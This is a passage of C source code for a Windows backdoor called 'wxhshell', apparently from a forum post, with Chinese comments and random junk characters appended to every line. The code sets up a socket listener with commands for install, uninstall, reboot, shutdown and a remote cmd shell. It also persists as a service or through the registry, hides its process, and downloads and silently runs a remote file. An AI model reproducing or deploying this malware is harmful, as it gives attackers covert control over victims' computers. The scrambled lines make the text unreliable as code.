      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M XB fX  
    break; VT.BHZ  
  } ^<L;"jl%  
  // 安装 1 o5DQ'~n  
  case 'i': { 6n9;t\'Gt  
    if(Install()) 1]eh0H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4h:R+o ^H^  
    else e~7h8?\.q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {)^P_zha[9  
    break; 6L--FY>.-  
    } XI6LPA0%  
  // 卸载 >?b<)Q*<  
  case 'r': { CRsgR)  
    if(Uninstall()) F$a?} }  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V,>_L  
    else Op] L#<&T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wm@ />X  
    break; 1S !<D)n  
    } hR;J#w  
  // 显示 wxhshell 所在路径 Mv9q-SIc[  
  case 'p': { ]KX _a1e  
    char svExeFile[MAX_PATH]; <a>\.d9#)7  
    strcpy(svExeFile,"\n\r"); v` 9^?Xw)  
      strcat(svExeFile,ExeFile); J)6A,:wt  
        send(wsh,svExeFile,strlen(svExeFile),0); "m^whHj  
    break; [kc%+j<g  
    } z?C;z7eT  
  // 重启 p)M\q fZ  
  case 'b': { ~z''kH=e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J:M)gh~#  
    if(Boot(REBOOT)) 9A]XuPAlh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QInow2/u  
    else { ]s lYr8m  
    closesocket(wsh); .;gK*`G2W)  
    ExitThread(0); Iq&S6l <0  
    } [.e Y xZ{=  
    break; ;9cBlthh  
    } Y~=]RCg  
  // 关机 RZykwD(  
  case 'd': { g=?KpI-pn0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); USVM' ~p I  
    if(Boot(SHUTDOWN)) :P$I;YY=A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,}&E=5MF\  
    else { %SV"iXxY  
    closesocket(wsh); % I]?xe6  
    ExitThread(0); y]OW{5(  
    } $mA+ 4ISK  
    break; <,~ =o  
    } iR-MuDM  
  // 获取shell s^_E'j$  
  case 's': { }`/wj  
    CmdShell(wsh); )N QtjB$  
    closesocket(wsh); @Yua%n6]#D  
    ExitThread(0); HLMEB0zh^  
    break; c`UJI$Q/  
  } yVPkJ  
  // 退出 #UREFwSL  
  case 'x': { *!De(lhEc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x/$s:[0B#  
    CloseIt(wsh); |=.z0{A7H  
    break; md[FtcY\  
    } CL(,Q8yG  
  // 离开 ^&t(O1.-  
  case 'q': { 5G8`zy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z-m,~Hh  
    closesocket(wsh); SM:SxhrGt  
    WSACleanup(); [woR9azC  
    exit(1); JL1%XQ i  
    break;  z"BV+  
        } rVkoj;[  
  } |Iy55~hK`  
  } SEY  
Fi{~UOZg  
  // 提示信息 0|X!Uw-Q%_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x q93>Hs  
} 6l#1E#]|  
  } fSp(}'m2L  
3mn0  
  return; JWG7QH  
} '3uj6Wq2  
~B%EvG7:n  
// shell模块句柄 N}\Da: _  
int CmdShell(SOCKET sock) !l'Az3'J|  
{ Y_`D5c:  
STARTUPINFO si; `$`:PT\Zv4  
ZeroMemory(&si,sizeof(si)); {+[~;ISL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %+$P<Rw7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9frx60  
PROCESS_INFORMATION ProcessInfo; r @~T}<I  
char cmdline[]="cmd"; aDa}@-F&a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &sL5 Pt_  
  return 0; z]>aWH}$  
} a34'[R  
!D%*s,t\'  
// 自身启动模式 2]NP7Ee8 Z  
int StartFromService(void) !)tXN=(1a  
{ =ox#qg.5  
typedef struct uAyj##H  
{ Pi6C1uY6  
  DWORD ExitStatus; #;juZ*I  
  DWORD PebBaseAddress; =!xeki]|9  
  DWORD AffinityMask; _u}v(!PI  
  DWORD BasePriority; L{2\NJ"+u  
  ULONG UniqueProcessId; !?tWWU%P)  
  ULONG InheritedFromUniqueProcessId; K_nN|'R-  
}   PROCESS_BASIC_INFORMATION; > c7/E  
fRT:@lV  
PROCNTQSIP NtQueryInformationProcess; )iy>sa{  
tZ[BfO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [p@NzS/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S$]:3  
L4sN)EI  
  HANDLE             hProcess; BmrP]3W?  
  PROCESS_BASIC_INFORMATION pbi; }Iub{30mp  
8BNsh[+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^Gv<Xl  
  if(NULL == hInst ) return 0; I(Nsm3L  
lGPC)Hu{`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S^)r,cC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iCN@G&rVw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h. i&[RnX  
#2DH_P  
  if (!NtQueryInformationProcess) return 0; z/fRd6|[  
@.*[CC;&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~<, \=;b/  
  if(!hProcess) return 0; vFb{(gIJ  
[CPZj*|b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }p t5.'l  
8)rv.'A((E  
  CloseHandle(hProcess); (Wq9YDD@  
joDfvY*[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6Epns s  
if(hProcess==NULL) return 0; =[{Pw8['  
q22cp&gmX  
HMODULE hMod; kRiWNEw  
char procName[255]; }(E6:h;}~  
unsigned long cbNeeded; '! 1ts@  
;~]&$2sk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DHt 8 f  
zwU8iVDe  
  CloseHandle(hProcess); (53dl(L?  
*"fg@B5  
if(strstr(procName,"services")) return 1; // 以服务启动 @+1E|4L1vf  
.ET;wK  
  return 0; // 注册表启动 JIb<>X,  
} Pms3X  
xOT'4v&.  
// 主模块 xxkP4,(p  
int StartWxhshell(LPSTR lpCmdLine) *`}_e)(k  
{ CI{]o&Tf  
  SOCKET wsl; MVt#n\_BZV  
BOOL val=TRUE; 0*3 <}  
  int port=0; JF{,;&sj  
  struct sockaddr_in door; A ws#>l<  
V"$t>pAG  
  if(wscfg.ws_autoins) Install(); Sa,N1r  
'EZ[aY!);  
port=atoi(lpCmdLine); EE}NA{b  
}#'KME4  
if(port<=0) port=wscfg.ws_port; 8@h zw~>  
lR.a3.~  
  WSADATA data; u~s'<c+8_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >.{ ..~"K  
ys#M* {?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eaX`S.!jR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ePs<jrB<  
  door.sin_family = AF_INET; h*MR5qa  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "[[fQpe4@  
  door.sin_port = htons(port); e982IP  
~Y'e1w$`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m6;Xo}^w  
closesocket(wsl); ~|uCZ.;o  
return 1; 'R,d?ikY  
} ZC2C`S\xr  
.qK=lHxT  
  if(listen(wsl,2) == INVALID_SOCKET) { {t=Nnc15K  
closesocket(wsl); keJec`q=X  
return 1; s`#hk^{  
} k2t?e:)3zr  
  Wxhshell(wsl); w:Lu  
  WSACleanup(); _23sIUN c3  
;*Rajq  
return 0; NWAF4i&$  
Xx'>5d>  
} y5Pw*?kn  
gE ,j\M*  
// 以NT服务方式启动 h5f>'l z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a^=4 '.ok  
{ l4/TJ%`MG  
DWORD   status = 0; `|/|ej]$P  
  DWORD   specificError = 0xfffffff; ESomw  
BPG)m,/b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b8]oI"&G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ro<!n>H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eGTK^p  
  serviceStatus.dwWin32ExitCode     = 0; 8PEOi  
  serviceStatus.dwServiceSpecificExitCode = 0; g rfF\_[:  
  serviceStatus.dwCheckPoint       = 0; 1)YFEU&]  
  serviceStatus.dwWaitHint       = 0; J:(Shd'4D  
8^R>y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8m1zL[.8g  
  if (hServiceStatusHandle==0) return; KPR{5  
*z+\yfOO"  
status = GetLastError(); D{loX6  
  if (status!=NO_ERROR) f%|S>(   
{ gx6&'${=#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +%<Jr<~W  
    serviceStatus.dwCheckPoint       = 0; ;9I#>u  
    serviceStatus.dwWaitHint       = 0; N Dg]s2T  
    serviceStatus.dwWin32ExitCode     = status; J<BdIKCma  
    serviceStatus.dwServiceSpecificExitCode = specificError; [e}]K:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ky~x4_y5  
    return; /y!Vs`PZ!  
  } ,Tz ,)rY  
A0]o/IBz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OK)0no=OAK  
  serviceStatus.dwCheckPoint       = 0; X,fTzkGj  
  serviceStatus.dwWaitHint       = 0; p|FX_4RjX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O#EBR<CuK  
} ZGbZu  
<+$S{Z.  
// 处理NT服务事件,比如:启动、停止 `UI)H*GA8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) > Qtyw.n  
{ gK<-*v  
switch(fdwControl) h4qR\LX  
{ gU~)(|Nu.  
case SERVICE_CONTROL_STOP: up1aFzY|6x  
  serviceStatus.dwWin32ExitCode = 0; !<LS4s;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <=-\so(  
  serviceStatus.dwCheckPoint   = 0; z<fEJN  
  serviceStatus.dwWaitHint     = 0; 2"MI8EK  
  { 8;'n.SC{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UA9LI<Y  
  } K$]QzPXS  
  return; zh.c_>jS  
case SERVICE_CONTROL_PAUSE: lET)<V(Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P X0#X=$  
  break; }dHiW:J>  
case SERVICE_CONTROL_CONTINUE: u#,]>;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4bBxZY  
  break; 9F+bWo_m  
case SERVICE_CONTROL_INTERROGATE: >ahj|pm  
  break; Yo(B8}?0!  
}; "pPNlV]UA^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ye%F <:O7  
} e)xWQ=,C  
KCT8Q!\  
// 标准应用程序主函数 =z/F=1^<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \nHlI=!P  
{ :A'!u r=\  
<S}qcjG  
// 获取操作系统版本 kW~F*  
OsIsNt=GetOsVer(); ?c2TT Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B1M/5cr.  
II8nz[s  
  // 从命令行安装 Hj\~sR$L-  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z:v1?v  
_UBI,Dg]  
  // 下载执行文件 N93E;B  
if(wscfg.ws_downexe) { qck/b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +B m+Pj>  
  WinExec(wscfg.ws_filenam,SW_HIDE); @ 7?_Yw  
} )1vojp 4Za  
o W[,EW+u  
if(!OsIsNt) { &rl>{Uvq  
// 如果时win9x,隐藏进程并且设置为注册表启动 $Y`aS^IW  
HideProc(); U. aa iX7  
StartWxhshell(lpCmdLine); *X\c $ =*  
} Tpukz_F  
else /wTf&_"mTL  
  if(StartFromService()) [86'/:L\2  
  // 以服务方式启动 ;SW-dfo2i  
  StartServiceCtrlDispatcher(DispatchTable); pt R  
else ;Kf|a}m-  
  // 普通方式启动 %RN-J*s]  
  StartWxhshell(lpCmdLine); ay_D.gxz  
hNle;&*F  
return 0; JB+pFBeY  
}
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只看该作者 1 发表于: 2006-10-10
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